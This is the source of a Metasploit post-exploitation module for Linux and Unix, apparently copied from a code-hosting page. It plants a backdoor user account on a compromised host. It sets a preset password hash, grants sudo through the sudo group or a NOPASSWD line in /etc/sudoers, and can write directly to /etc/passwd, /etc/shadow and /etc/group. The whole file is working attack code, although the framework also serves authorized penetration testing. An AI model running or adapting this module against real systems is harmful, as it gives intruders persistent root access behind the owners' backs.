Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/post/linux/manage/adduser.rb
Views: 11704
# This module requires Metasploit: https://metasploit.com/download1# Current source: https://github.com/rapid7/metasploit-framework23require 'unix_crypt'45class MetasploitModule < Msf::Post6include Msf::Post::File7include Msf::Post::Unix8include Msf::Post::Linux::System910def initialize(info = {})11super(12update_info(13info,14'Name' => 'Add a new user to the system',15'Description' => %q{16This command adds a new user to the system17},18'License' => MSF_LICENSE,19'Author' => ['Nick Cottrell <ncottrellweb[at]gmail.com>'],20'Platform' => ['linux', 'unix', 'bsd', 'aix', 'solaris'],21'Privileged' => false,22'SessionTypes' => %w[meterpreter shell],23'Notes' => {24'Stability' => [CRASH_SAFE],25'Reliability' => [],26'SideEffects' => [CONFIG_CHANGES]27}28)29)30register_options([31OptString.new('USERNAME', [ true, 'The username to create', 'metasploit' ]),32OptString.new('PASSWORD', [ true, 'The password for this user', 'Metasploit$1' ]),33OptString.new('SHELL', [true, 'Set the shell that the new user will use', '/bin/sh']),34OptString.new('HOME', [true, 'Set the home directory of the new user. Leave empty if user will have no home directory', '']),35OptString.new('GROUPS', [false, 'Set what groups the new user will be part of separated with a space'])36])3738register_advanced_options([39OptEnum.new('UseraddMethod', [true, 'Set how the module adds in new users and groups. AUTO will autodetect how to add new users, MANUAL will add users without any binaries, and CUSTOM will attempt to use a custom designated binary', 'AUTO', ['AUTO', 'MANUAL', 'CUSTOM']]),40OptString.new('UseraddBinary', [false, 'Set binary used to set password if you dont want module to find it for you.'], conditions: %w[UseraddMethod == CUSTOM]),41OptEnum.new('SudoMethod', [true, 'Set the method that the new user can obtain root. SUDO_FILE adds the user directly to sudoers while GROUP adds the new user to the sudo group', 'GROUP', ['SUDO_FILE', 'GROUP', 'NONE']]),42OptEnum.new('MissingGroups', [true, 'Set how nonexisting groups are handled on the system. Either give an error in the module, ignore it and throw it out, or create the group on the system.', 'ERROR', ['ERROR', 'IGNORE', 'CREATE']]),43OptEnum.new('PasswordHashType', [true, 'Set the hash method your password will be encrypted in.', 'MD5', ['DES', 'MD5', 'SHA256', 'SHA512']])44])45end4647# Checks if the given group exists within the system48def check_group_exists?(group_name, group_data)49return group_data =~ /^#{Regexp.escape(group_name)}:/50end5152# Checks if the specified command can be executed by the session. It should be53# noted that not all commands correspond to a binary file on disk. For example,54# a bash shell session will provide the `eval` command when there is no `eval`55# binary on disk. Likewise, a Powershell session will provide the `Get-Item`56# command when there is no `Get-Item` executable on disk.57#58# @param [String] cmd the command to check59# @return [Boolean] true when the command exists60def check_command_exists?(cmd)61command_exists?(cmd)62rescue RuntimeError => e63fail_with(Failure::Unknown, "Unable to check if command `#{cmd}' exists: #{e}")64end6566def d_cmd_exec(command)67vprint_status(command)68print_line(cmd_exec(command))69end7071# Produces an altered copy of the group file with the user added to each group72def fs_add_groups(group_file, groups)73groups.each do |group|74# Add user to group if there are other users75group_file = group_file.gsub(/^(#{group}:[^:]*:[0-9]+:.+)$/, "\\1,#{datastore['USERNAME']}")76# Add user to group of no users belong to that group yet77group_file = group_file.gsub(/^(#{group}:[^:]*:[0-9]+:)$/, "\\1#{datastore['USERNAME']}")78end79if datastore['MissingGroups'] == 'CREATE'80new_groups = get_missing_groups(group_file, groups)81new_groups.each do |group|82gid = rand(1000..2000).to_s83group_file += "\n#{group}:x:#{gid}:#{datastore['USERNAME']}\n"84print_good("Added #{group} group")85end86end87group_file.gsub(/\n{2,}/, "\n")88end8990# Provides a list of groups that arent already on the system91def get_missing_groups(group_file, groups)92groups.reject { |group| check_group_exists?(group, group_file) }93end9495# Finds out what platform the module is running on. It will attempt to access96# the Hosts database before making more noise on the target to learn more97def os_platform98if session.type == 'meterpreter'99sysinfo['OS']100elsif active_db? && framework.db.workspace.hosts.where(address: session.session_host)&.first&.os_name101host = framework.db.workspace.hosts.where(address: session.session_host).first102if host.os_name == 'linux' && host.os_flavor103host.os_flavor104else105host.os_name106end107else108get_sysinfo[:distro]109end110end111112# Validates the groups given to it. Depending on datastore settings, it will113# give a trimmed down list of the groups given to it, and ensure that all114# groups returned exist on the system.115def validate_groups(group_file, groups)116groups = groups.uniq117118# Check that group names are valid119invalid = groups.filter { |group| group !~ /^[a-zA-Z0-9_.][a-zA-Z0-9_.-]{0,30}[a-zA-Z0-9_.$-]?$/ }120if invalid.any? && datastore['MissingGroups'] == 'IGNORE'121groups -= invalid122vprint_error("The groups [#{invalid.join(' ')}] do not fit accepted characters for groups. Ignoring them instead.")123elsif invalid.any?124# Give error even on create, as creating this group will cause errors125fail_with(Failure::BadConfig, "groups [#{invalid.join(' ')}] Do not fit the authorized regex for groups. Check your groups against this regex /^[a-zA-Z0-9_.][a-zA-Z0-9_.-]{0,30}[a-zA-Z0-9_.$-]?$/")126end127128# Check to see that groups exist or fail129groups_missing = get_missing_groups(group_file, groups)130unless groups_missing.empty?131if datastore['MissingGroups'] == 'ERROR'132fail_with(Failure::NotFound, "groups [#{groups_missing.join(' ')}] do not exist on the system. Change the `MissingGroups` Option to deal with errors automatically")133end134print_warning("Groups [#{groups_missing.join(' ')}] do not exist on system")135if datastore['MissingGroups'] == 'IGNORE'136groups -= groups_missing137print_good("Removed #{groups_missing.join(' ')} from target groups")138end139end140141groups142end143144# Takes all the groups given and attempts to add them to the system145def create_new_groups(groups)146# Since command can add on groups, checking over groups147groupadd = check_command_exists?('groupadd') ? 'groupadd' : nil148groupadd ||= 'addgroup' if check_command_exists?('addgroup')149fail_with(Failure::NotFound, 'Neither groupadd nor addgroup exist on the system. Try running with UseraddMethod as MANUAL to get around this issue') unless groupadd150151groups.each do |group|152d_cmd_exec("#{groupadd} #{group}")153print_good("Added #{group} group")154end155end156157def run158fail_with(Failure::NoAccess, 'Session isnt running as root') unless is_root?159case datastore['UseraddMethod']160when 'CUSTOM'161fail_with(Failure::NotFound, "Cannot find command on path given: #{datastore['UseraddBinary']}") unless check_command_exists?(datastore['UseraddBinary'])162when 'AUTO'163fail_with(Failure::NotVulnerable, 'Cannot find a means to add a new user') unless check_command_exists?('useradd') || check_command_exists?('adduser')164end165fail_with(Failure::NotVulnerable, 'Cannot add user to sudo as sudoers doesnt exist') unless datastore['SudoMethod'] != 'SUDO_FILE' || file_exist?('/etc/sudoers')166fail_with(Failure::NotFound, 'Shell specified does not exist on system') unless check_command_exists?(datastore['SHELL'])167fail_with(Failure::BadConfig, "Username [#{datastore['USERNAME']}] is not a legal unix username.") unless datastore['USERNAME'] =~ /^[a-z][a-z0-9_-]{0,31}$/168169# Encrypting password ahead of time170passwd = case datastore['PasswordHashType']171when 'DES'172UnixCrypt::DES.build(datastore['PASSWORD'])173when 'MD5'174UnixCrypt::MD5.build(datastore['PASSWORD'])175when 'SHA256'176UnixCrypt::SHA256.build(datastore['PASSWORD'])177when 'SHA512'178UnixCrypt::SHA512.build(datastore['PASSWORD'])179end180181# Adding sudo to groups if method is set to use groups182groups = datastore['GROUPS']&.split || []183groups += ['sudo'] if datastore['SudoMethod'] == 'GROUP'184group_file = read_file('/etc/group').to_s185groups = validate_groups(group_file, groups)186187# Creating new groups if it was set and isnt manual188if groups.any? && datastore['MissingGroups'] == 'CREATE' && datastore['UseraddMethod'] != 'MANUAL'189create_new_groups(get_missing_groups(group_file, groups))190end191192# Automatically ignore setting groups if added additional groups is empty193groups_handled = groups.empty?194195# Check database to see what OS it is. If it meets specific requirements, This can all be done in a single line196binary = case datastore['UseraddMethod']197when 'AUTO'198if check_command_exists?('useradd')199'useradd'200elsif check_command_exists?('adduser')201'adduser'202else203'MANUAL'204end205when 'MANUAL'206'MANUAL'207when 'CUSTOM'208datastore['UseraddBinary']209end210case binary211when /useradd$/212print_status("Running on #{os_platform}")213print_status('Useradd exists. Using that')214case os_platform215when /debian|ubuntu|fedora|centos|oracle|redhat|arch|suse|gentoo/i216homedirc = datastore['HOME'].empty? ? '--no-create-home' : "--home-dir #{datastore['HOME']}"217218# Since command can add on groups, checking over groups219groupsc = groups.empty? ? '' : "--groups #{groups.join(',')}"220221# Finally run it222d_cmd_exec("#{binary} --password \'#{passwd}\' #{homedirc} #{groupsc} --shell #{datastore['SHELL']} --no-log-init #{datastore['USERNAME']}".gsub(/ {2,}/, ' '))223groups_handled = true224else225vprint_status('Unsure what platform we\'re on. Using useradd in most basic/common settings')226227# Finally run it228d_cmd_exec("#{binary} #{datastore['USERNAME']} | echo")229d_cmd_exec("echo \'#{datastore['USERNAME']}:#{passwd}\'|chpasswd -e")230end231when /adduser$/232print_status("Running on #{os_platform}")233print_status('Adduser exists. Using that')234case os_platform235when /debian|ubuntu/i236print_warning('Adduser cannot add groups to the new user automatically. Going to have to do it at a later step')237homedirc = datastore['HOME'].empty? ? '--no-create-home' : "--home #{datastore['HOME']}"238239d_cmd_exec("#{binary} --disabled-password #{homedirc} --shell #{datastore['SHELL']} #{datastore['USERNAME']} | echo")240d_cmd_exec("echo \'#{datastore['USERNAME']}:#{passwd}\'|chpasswd -e")241when /fedora|centos|oracle|redhat/i242homedirc = datastore['HOME'].empty? ? '--no-create-home' : "--home-dir #{datastore['HOME']}"243244# Since command can add on groups, checking over groups245groupsc = groups.empty? ? '' : "--groups #{groups.join(',')}"246247# Finally run it248d_cmd_exec("#{binary} --password \'#{passwd}\' #{homedirc} #{groupsc} --shell #{datastore['SHELL']} --no-log-init #{datastore['USERNAME']}".gsub(/ {2,}/, ' '))249groups_handled = true250when /alpine/i251print_warning('Adduser cannot add groups to the new user automatically. Going to have to do it at a later step')252homedirc = datastore['HOME'].empty? ? '-H' : "-h #{datastore['HOME']}"253254d_cmd_exec("#{binary} -D #{homedirc} -s #{datastore['SHELL']} #{datastore['USERNAME']}")255d_cmd_exec("echo \'#{datastore['USERNAME']}:#{passwd}\'|chpasswd -e")256else257print_status('Unsure what platform we\'re on. Using useradd in most basic/common settings')258259# Finally run it260d_cmd_exec("#{binary} #{datastore['USERNAME']}")261d_cmd_exec("echo \'#{datastore['USERNAME']}:#{passwd}\'|chpasswd -e")262end263when datastore['UseraddBinary']264print_status('Running with command supplied')265d_cmd_exec("#{binary} #{datastore['USERNAME']}")266d_cmd_exec("echo \'#{datastore['USERNAME']}:#{passwd}\'|chpasswd -e")267else268# Checking that user doesnt already exist269fail_with(Failure::BadConfig, 'User already exists') if read_file('/etc/passwd') =~ /^#{datastore['USERNAME']}:/270271# Run adding user manually if set272home = datastore['HOME'].empty? ? "/home/#{datastore['USERNAME']}" : datastore['HOME']273uid = rand(1000..2000).to_s274append_file('/etc/passwd', "#{datastore['USERNAME']}:x:#{uid}:#{uid}::#{home}:#{datastore['SHELL']}\n")275vprint_status("\'#{datastore['USERNAME']}:x:#{uid}:#{uid}::#{home}:#{datastore['SHELL']}\' >> /etc/passwd")276append_file('/etc/shadow', "#{datastore['USERNAME']}:#{passwd}:#{Time.now.to_i / 86400}:0:99999:7:::\n")277vprint_status("\'#{datastore['USERNAME']}:#{passwd}:#{Time.now.to_i / 86400}:0:99999:7:::\' >> /etc/shadow")278279altered_group_file = fs_add_groups(group_file, groups)280write_file('/etc/group', altered_group_file) unless group_file == altered_group_file281282groups_handled = true283end284285# Adding in groups and connecting if not done already286unless groups_handled287# Attempt to do add groups to user by normal means, or do it manually288if check_command_exists?('usermod')289d_cmd_exec("usermod -aG #{groups.join(',')} #{datastore['USERNAME']}")290elsif check_command_exists?('addgroup')291groups.each do |group|292d_cmd_exec("addgroup #{datastore['USERNAME']} #{group}")293end294else295print_error("Couldnt find \'usermod\' nor \'addgroup\' on the target. User [#{datastore['USERNAME']}] couldnt be linked to groups.")296end297end298299# Adding user to sudo file if specified300if datastore['SudoMethod'] == 'SUDO_FILE' && file_exist?('/etc/sudoers')301append_file('/etc/sudoers', "#{datastore['USERNAME']} ALL=(ALL:ALL) NOPASSWD: ALL\n")302print_good("Added [#{datastore['USERNAME']}] to /etc/sudoers successfully")303end304rescue Msf::Exploit::Failed305print_warning("The module has failed to add the new user [#{datastore['USERNAME']}]!")306print_warning('Groups that were created need to be removed from the system manually.')307raise308end309end310311312